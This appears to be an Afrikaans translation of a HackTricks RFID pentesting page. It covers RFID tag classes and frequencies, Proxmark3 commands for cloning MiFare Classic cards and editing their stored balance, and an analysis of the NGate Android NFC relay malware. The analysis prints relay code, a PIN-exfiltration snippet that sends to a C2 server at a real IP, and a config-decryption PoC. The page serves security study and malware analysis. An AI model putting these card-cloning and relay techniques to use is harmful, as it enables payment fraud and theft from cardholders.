Pentesting RFID

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Inleiding

Radio Frequency Identification (RFID) is die mees populĆŖre kortafstand-radiosolutie. Dit word gewoonlik gebruik om inligting te stoor en oor te dra wat ā€™n entiteit identifiseer.

ā€™n RFID-tag kan staatmaak op sy eie kragbron (aktief), soos ā€™n ingeslote battery, of sy krag ontvang vanaf die leesantenna deur die stroom ingelei deur die ontvangde radiogolwe (passief).

Klasse

EPCglobal verdeel RFID-tags in ses kategorieĆ«. ā€™n Tag in elke kategorie het al die vermoĆ«ns wat in die vorige kategorie gelys is, wat dit agterwaartruigbaar maak.

  • Class 0 tags is passiewe tags wat in UHF bande opereer. Die verskaffer preprogrammeer hulle by die produksiefabriek. Gevolglik kan jy nie die inligting wat in hul geheue gestoor is verander nie.
  • Class 1 tags kan ook in HF bande opereer. Daarbenewens kan hulle slegs eenkeer geskryf word nĆ” produksie. Baie Class 1-tags kan ook cyclic redundancy checks (CRCs) van die opdragte wat hulle ontvang verwerk. CRCs is ā€™n paar ekstra grepe aan die einde van die opdragte vir foutopsporing.
  • Class 2 tags kan meermale geskryf word.
  • Class 3 tags kan ingeslote sensors bevat wat omgewingsparameters kan opneem, soos die huidige temperatuur of die tag se beweging. Hierdie tags is semi-passief, omdat hoewel hulle ā€™n ingeslote kragbron het, soos ā€™n geĆÆntegreerde battery, hulle nie draadlose kommunikasie met ander tags of lesers kan inisieer nie.
  • Class 4 tags kan kommunikasie met ander tags van dieselfde klas inisieer, wat hulle aktiewe tags maak.
  • Class 5 tags kan krag aan ander tags voorsien en met al die vorige tagklasses kommunikeer. Class 5-tags kan as RFID-lesers optree.

Inligting wat in RFID-tags gestoor word

ā€™n RFID-tag se geheue stoor gewoonlik vier soorte data: die identifikasie-data, wat die entiteit identifiseer waaraan die tag geheg is (hierdie data sluit gebruiker-gedefinieerde velde in, soos bankrekeninge); die aanvullende data, wat verdere besonderhede oor die entiteit verskaf; die kontrole-data, wat vir die tag se interne konfigurasie gebruik word; en die tag se vervaardigerdata, wat ā€™n tag se Unique Identifier (UID) en besonderhede oor die tag se produksie, tipe, en verskaffer bevat. Jy sal die eerste twee soorte data in alle kommersiĆ«le tags vind; die laaste twee kan verskil op grond van die tag se verskaffer.

Die ISO-standaard spesifiseer die Application Family Identifier (AFI) waarde, ā€™n kode wat die soort voorwerp aandui waartoe die tag behoort. Nog ā€™n belangrike register, ook deur ISO gespesifiseer, is die Data Storage Format Identifier(DSFID), wat die logiese organisasie van die gebruikersdata definieer.

Die meeste RFID sekuriteitskontroles het meganismes wat die lees of skryf operasies op elke gebruikersgeheueblok en op die spesiale registere wat die AFI- en DSFID-waardes bevat beperk. Hierdie sluit meganismes gebruik data wat in die kontrolegeheue gestoor is en het verstekwagwoorde vooraf deur die verskaffer gekonfigureer, maar laat die tag-eienaars toe om aangepaste wagwoorde te konfigureer.

Vergelyking van Lae- & Hoƫfrekwensie-tags

Lae-frekwensie RFID-tags (125kHz)

Lae-frekwensie tags word dikwels gebruik in stelsels wat nie hoĆ« sekuriteit benodig nie: gebou-toegang, interkom-sleutels, gimnasium-lidmaatskapkaarte, ens. VanweĆ« hul groter reikafstand is hulle gerieflik vir betaalde motorparkeerareas: die motoriste hoef nie die kaart naby die leser te hou nie, omdat dit van verder af geaktiveer word. Tegelyk is lae-frekwensie tags baie primitief, hulle het ā€™n lae datapropor. Om hierdie rede is dit onmoontlik om ingewikkelde twee-rigting data-oordrag vir dinge soos balansadministrasie en kriptografie te implementeer. Lae-frekwensie tags stuur slegs hul kort ID sonder enige vorm van verifikasie.

Hierdie toestelle maak staat op passiewe RFID-tegnologie en opereer in ā€™n reeks van 30 kHz tot 300 kHz, alhoewel dit meer algemeen is om 125 kHz tot 134 kHz te gebruik:

  • Lang Reikwydte ā€” laer frekwensie vertaal na groter reikafstand. Daar is sekere EM-Marin en HID-lesers wat van ā€™n afstand tot ā€™n meter werk. Hierdie word dikwels in motorparkeerareas gebruik.
  • Primitiewe protokol ā€” as gevolg van die lae datapropor kan hierdie tags slegs hul kort ID stuur. In die meeste gevalle word data nie geverifieer nie en dit is op geen manier beskerm nie. Sodra die kaart in die leser se bereik is, begin dit net om sy ID te stuur.
  • Lae sekuriteit ā€” Hierdie kaarte kan maklik gekopieer word, of selfs vanaf iemand anders se sak gelees word as gevolg van die protokol se primitiewe aard.

PopulĆŖre 125 kHz protokolle:

  • EM-Marin ā€” EM4100, EM4102. Die gewildste protokol in CIS. Kan van ongeveer ā€™n meter gelees word weens sy eenvoud en stabiliteit.
  • HID Prox II ā€” lae-frekwensie protokol ingestel deur HID Global. Hierdie protokol is meer gewild in Westerse lande. Dit is meer kompleks en die kaarte en lesers vir hierdie protokol is redelik duur.
  • Indala ā€” baie ou lae-frekwensie protokol wat deur Motorola bekend gestel is en later deur HID aangekoop is. Jy sal dit minder gereeld in die natuur teĆ«kom in vergelyking met die vorige twee omdat dit uit gebruik raak.

In werklikheid is daar baie meer lae-frekwensie protokolle. Maar hulle gebruik almal dieselfde modulering op die fisiese laag en kan in een of ander opsig as variasies van die hierbo gelysde beskou word.

Aanval

Jy kan hierdie Tags aanval met die Flipper Zero:

FZ - 125kHz RFID

Hoƫfrekwensie RFID-tags (13.56 MHz)

HoĆ«frekwensie tags word gebruik vir ā€™n meer komplekse leser-tag interaksie wanneer jy kriptografie, ā€™n groot twee-rigting data-oordrag, verifikasie, ens. nodig het.
Dit word gewoonlik in bankkaarte, openbare vervoer en ander veilige pas gebruik.

HoĆ«frekwensie 13.56 MHz tags is ā€™n stel standaarde en protokolle. Hulle word gewoonlik as NFC verwys, maar dit is nie altyd korrek nie. Die basiese protokolstel wat op die fisiese en logiese vlak gebruik word, is ISO 14443. HoĆ«vlakprotokolle, sowel as alternatiewe standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as Near Field Communication (NFC), ā€™n term vir toestelle wat oor die 13.56 MHz frekwensie werk.

Om dit eenvoudig te stel, werk NFC se argitektuur soos volg: die oordragsprotokol word deur die maatskappy wat die kaarte maak gekies en geĆÆmplementeer gebaseer op die laevlak ISO 14443. Byvoorbeeld, NXP het sy eie hoĆ«vlak oordragsprotokol uitgevind genaamd Mifare. Maar op die laer vlak is Mifare-kaarte gebaseer op die ISO 14443-A standaard.

Flipper kan met beide die laevlak ISO 14443-protokol interaksie hĆŖ, sowel as Mifare Ultralight data-oordragsprotokol en EMV wat in bankkaarte gebruik word. Ons werk daaraan om ondersteuning vir Mifare Classic en NFC NDEF by te voeg. ā€™n Grondige kyk na die protokolle en standaarde wat NFC uitmaak is die moeite werd vir ā€™n aparte artikel wat ons beplan om later te publiseer.

Alle hoĆ«frekwensie-kaarte gebaseer op die ISO 14443-A standaard het ā€™n unieke chip-ID. Dit tree op soos die kaart se seriĆ«le nommer, soos ā€™n netwerkkaart se MAC-adres. Gewoonlik is die UID 4 of 7 grepe lank, maar kan selde tot 10 gaan. UIDs is nie ā€™n geheim nie en hulle is maklik leesbaar, soms selfs op die kaart self gedruk.

Daar is baie toegangbeheerstelsels wat op UID staatmaak om te verifieer en toegang te verleen. Soms gebeur dit selfs wanneer RFID-tags kriptografie ondersteun. Sulke misbruik verlaag hulle tot die vlak van die dom 125 kHz kaarte wat sekuriteit betref. Virtuele kaarte (soos Apple Pay) gebruik ā€™n dinamiese UID sodat telefoongebruikers nie deur hul betaalapp deurdeure kan oopmaak nie.

  • Lae reeks ā€” hoĆ«frekwensie-kaarte is spesifiek ontwerp sodat hulle naby die leser geplaas moet word. Dit help ook om die kaart teen ongemagtigde interaksies te beskerm. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met pasgemaakte hoĆ«-reeks lesers.
  • Gevorderde protokolle ā€” data-oordragspoed tot 424 kbps laat komplekse protokolle met volwaardige twee-rigting data-oordrag toe. Wat op sy beurt kriptografie, data-oordrag, ens. toelaat.
  • HoĆ« sekuriteit ā€” hoĆ«frekwensie kontaktlose kaarte is op geen manier minder as slimkaarte nie. Daar is kaarte wat kriptografies stewige algoritmes soos AES ondersteun en assymmetriese kriptografie implementeer.

Aanval

Jy kan hierdie Tags aanval met die Flipper Zero:

FZ - NFC

Of met die proxmark:

Proxmark 3

MiFare Classic aflyn stoorwaarde-manipulasie (broken Crypto1)

Wanneer ā€™n stelsel ā€™n monetĆŖre balans direk op ā€™n MiFare Classic-kaart stoor, kan jy dit dikwels manipuleer omdat Classic NXP se verouderde Crypto1-sifer gebruik. Crypto1 is al jare lank gebreek, wat die herstel van sektor-sleutels en volle lees/skryf van kaartgeheue met gewone hardeware (bv., Proxmark3) moontlik maak.

Einde-tot-einde werkvloei (geabstraheer):

  1. Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Dit herstel gewoonlik sector keys (A/B) en genereer ā€™n full-card dump in die client dumps folder.

  1. Lokaliseer en verstaan die value/integrity fields
  • Voer wettige top-ups op die original card uit en neem meerdere dumps (before/after).
  • Voer ā€™n diff uit van die twee dumps om die veranderende blocks/bytes te identifiseer wat die balance en enige integrity fields verteenwoordig.
  • Baie Classic deployments gebruik Ć³f die native ā€œvalue blockā€ encoding Ć³f roll their own checksums (e.g., XOR of the balance with another field and a constant). Nadat die balance verander is, herbereken die integrity bytes ooreenkomstig en verseker dat alle duplicated/complemented fields konsekwent is.
  1. Skryf die gemodifiseerde dump na ā€™n writable ā€œChinese magicā€ Classic tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Kloon die oorspronklike UID sodat terminale die kaart herken
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Gebruik by terminale

Lesers wat op die kaartbalans en die UID vertrou sal die gemanipuleerde kaart aanvaar. Veldwaarnemings wys dat baie implementerings balanswaardes beperk gebaseer op veldwydte (bv., 16-bit vaspunt).

Notes

  • If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
  • For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
  • Only UID-changeable tags (ā€œChinese magicā€ gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

Bou ā€™n draagbare HID MaxiProx 125 kHz Mobile Cloner

As jy ā€™n long-range, battery-powered oplossing nodig het om HID ProxĀ® badges te capture tydens red-team engagements, kan jy die muur-gemonteerde HID MaxiProx 5375 reader omskakel in ā€™n selfstandige cloner wat in ā€™n rugsak pas. Die volledige meganiese en elektriese stap-vir-stap gids is hier beskikbaar:

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Readerā†”HCE Emitter

Classic EMV relay kan met 2 Android-toestelle geĆÆmplementeer word: ā€™n slagoffer-side reader wat live APDUs en PIN van ā€™n werklike kaart vang, en ā€™n attacker-side HCE emitter by die terminal wat APDUs upstream deurstuur. Die ontlede NGate-kit misbruik legit Android NFC APIs en ā€™n eenvoudige framed TCP C2 om real-time ATM cash-outs te orkestreer.

Key building blocks

  • Reader-mode app (victim): gebruik NFC reader APIs om EMV (PAN/expiry/AIDs) te ontleed, vertoon scheme volgens AID, vra vir PIN en exfiltrates onmiddellik.
  • Emitter-mode app (ATM side): implementeer Host Card Emulation (HCE) met android:requireDeviceUnlock="false" en ā€™n payment AID; processCommandApdu() stuur APDUs na C2 deur en gee ā€™n minimale response terug.
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml voorbeeld (geen unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Deursigtige relay-eindpunt (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

EMV-skema-afleiding deur AID (voorbeelde)

  • A000000004 ā†’ Mastercard
  • A000000003 ā†’ Visa
  • A000000658 ā†’ MIR
  • A000000333 ā†’ UnionPay

PIN-insamelingspatroon (slagoffer UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext example)

  • Clientā†’Server: int32 len | int32 opcode | body
  • Serverā†’Client: int32 len | body (opcode inside payload)
  • Weier liggame > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Config verberging: cert-derived XOR

  • Native lib lei ā€™n 32-byte sleutel af as SHAā€‘256 van die app signing certificate (DER).
  • C2 config is ASCIIā€‘hex in assets (e.g., assets/____), hex-decoded en XOR-ed met die sleutel wat elke 32 bytes herhaal:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

Offline PoC om config te decrypt

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Voorbeeld van ontsleutelde velde: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Relay-ketting (end-to-end)

  1. Slagoffer installeer die APK, open die app ā†’ native init ontsleutel die config uit assets.
  2. App verbind met C2 (bv. 91.84.97.13:5653) deur framed TCP te gebruik; keepalive ~7s.
  3. Slagoffer tik die kaart ā†’ reader onttrek PAN/expiry/AIDs en stuur CARD_DISCOVERED.
  4. Slagoffer voer PIN in ā†’ keypad publiseer en eksfiltreer via PIN_REQ; server antwoord VALID/INVALID net vir die UI.
  5. Aanvallerstoestel by die terminal laat ā€™n HCE emitter hardloop wat APDUs na die ATM herlei en voer cash-out uit.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks